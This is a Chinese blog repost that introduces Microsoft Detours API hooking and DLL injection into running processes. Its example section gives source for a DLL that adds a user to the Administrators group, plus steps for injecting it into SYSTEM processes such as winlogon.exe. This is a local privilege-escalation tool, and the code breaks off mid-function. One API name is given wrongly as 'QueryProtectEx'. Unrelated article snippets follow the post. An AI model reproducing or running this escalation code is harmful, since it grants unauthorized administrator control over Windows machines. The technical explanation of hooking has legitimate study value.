Detours简介 拦截x86机器上的任意的win32 API函数_detourfunction_这是晾衣服的地方吗的博客-程序员宅基地

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow

也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!

                Detours
当然是用detours,微软明显高腾讯一筹,同上,至今没失败过.写这种HOOK一定要再写个测试程序,不要直接HOOK你的目的程序,例如QQ,因为这样不方面更灵活的测试.
说明一下:Detours是微软开发的一个函数库(源代码可在http://research.microsoft.com/sn/detours 免费获得)用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是:拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运行。

简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员(在NT4 SP3上)。

一. Detours的原理

---- 1. WIN32进程的内存管理

---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点:

---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码

---- 2. 拦截WIN32 API的原理

---- Detours定义了三个概念:

---- (1) Target函数:要拦截的函数,通常为Windows的API。
---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
---- (3) Detour 函数:用来替代Target函数的函数。

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下:

拦截前:Target _ Function:
;Target函数入口,以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
;以下是Target函数的继续部分
……

拦截后: Target _ Function:
jmp Detour_Function
Trampoline:
;以下是Target函数的继续部分
……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
;跳回去继续执行Target函数
jmp Target_Function+5
---- 3. 为一个已在运行的进程装入一个DLL

---- 以下是其步骤:

---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二. Detours库函数的用法

---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。

---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

---- 功能:从一DLL中找出一函数的入口地址
---- 参数:pszModule是DLL名,pszFunction是函数名。
---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。

---- 2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。

---- 3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能:用Detour 函数拦截Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能:恢复Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能:为一个已在运行的进程装入一个DLL
---- 参数:hProcess是进程的句柄,lpDllName是要装入的DLL名

三. 程序实例

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。

---- 先编写相应的DLL:

/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯,
szAccountName 是用户名,bPrepared说明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名,并通知DllMain
已初始化szAccountName ,
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为:(1)
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser =
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/ffghggf/article/details/84094316

智能推荐

JAVA AES加解密CBC模式PCKS5padding的实现-程序员宅基地

importjava.text.SimpleDateFormat;importjava.util.Date;importjavax.crypto.Cipher;importjavax.crypto.KeyGenerator;importjavax.crypto.Se...

LeetCode 718. 最长重复子数组 | Python-程序员宅基地

使用动态规划和滑动窗口的方法,解决《718. 最长重复子数组》问题

Hexo博客yilia使用Gitalk作评论插件-程序员宅基地

转载天雷:Hexo博客yilia使用Gitalk作评论插件作为一个技术类博客怎能面得了一个评论插件呢。多说挂了,本想跟随yilia的主人Litten使用畅言,无奈这厮居然要备案(这种一看就很麻烦的对我这种懒人,pass)。然后我就找了一个国人自制开源的插件:gitalk,挺小众我喜欢。网上没有找到yilia搭载该插件的相关教程,索性写一个,仅希望各位同仁少走弯路。正文概述本文主...

HDU 1455 http://acm.hdu.edu.cn/showproblem.php?pid=1455-程序员宅基地

#include<stdio.h>#include<stdlib.h>#include<math.h>#include<string.h>#define N 70int f, vis[N], v, n, a[N];int cmp(const void *a, const void *b){ ...

unity学习笔记-随笔-动态修改颜色透明度,左右滑动优化_unity 用滑动条控制材质透明度-程序员宅基地

unity学习笔记-随笔动态修改颜色透明度动态修改颜色透明度在代码中获得场景中的对象获得其中image组件设置color = new color(值f/255f,值f/255f,值f/255f,值f/255f);其中最后一个值为透明度_unity 用滑动条控制材质透明度

随便推点

VS Code 改变默认文字编码_vs设置默认编码-程序员宅基地

File(文件)->Preferences(首选项)->Usersettings(设置)搜索 encod 或者encoding ,然后修改为想要的编码格式。_vs设置默认编码

kvm配置USB直通_kvm直通usb方法-程序员宅基地

参照:https://www.linuxidc.com/Linux/2014-12/110919.htm WebVirMgr界面是没有直接的途径了,只能靠修改xml文件,在&lt;device&gt;....&lt;/device&gt;段内增加: &lt;hostdev mode='subsystem' type='usb' managed='yes'&gt; ..._kvm直通usb方法

MiniMall:CRUD的代码是不可能写得?是的,我都帮你写好了_什么样的代码不算crud-程序员宅基地

虽然从整个项目的角度来说,我们把整个项目拆成了一个个微服务,这一点是有别于单体应用的。但是从一个业务模块本身的实现,不管是单体应用架构还是微服务架构,都会有控制层、业务层、持久层,这一点是不会变的。而我们今天要说的,就是针对每一层的增删改查操作进行架构封装,这几个常见操作的实现基本上都是一样的,实在没有必要在每个业务模块里写重复的代码,我们也不是这样的程序员对不对?友情提示:看本篇博客,最好结..._什么样的代码不算crud

通过stupid-ftpd在linux下建立ftp服务器-程序员宅基地

使用到的源码包为:stupid-ftpd-1.5beta.tar.gz下载地址:https://sourceforge.net/projects/stupid-ftpd/files/stupid-ftpd/V1_5beta/1、解压源码包tar -vxf stupid-ftpd-1.5beta.tar.gz2、进入解压生成的stupid-ftpd目录3、修改stupid-ftpd.c...

libc++abi.dylib: terminate_handler unexpectedly threw an exception-程序员宅基地

在运行一个界面的时候,就是一直libc++abi.dylib: terminate_handler unexpectedly threw an exception,也没有指明是哪里错误,后来经检查发现是数组越界- (CellInfo_t *)getCellInfo:(NSIndexPath *)indexPath{ NSInteger row=[self getCellInfoFro

HTTP状态码:400\500 错误代码(个人总结)_http消息推送失败 冷却-程序员宅基地

原文链接一些常见的状态码为:200 - 服务器成功返回网页404 - 请求的网页不存在503 - 服务不可用详细分解:1xx(临时响应)表示临时响应并需要请求者继续执行操作的状态代码。代码 说明100 (继续) 请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。101 (切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。..._http消息推送失败 冷却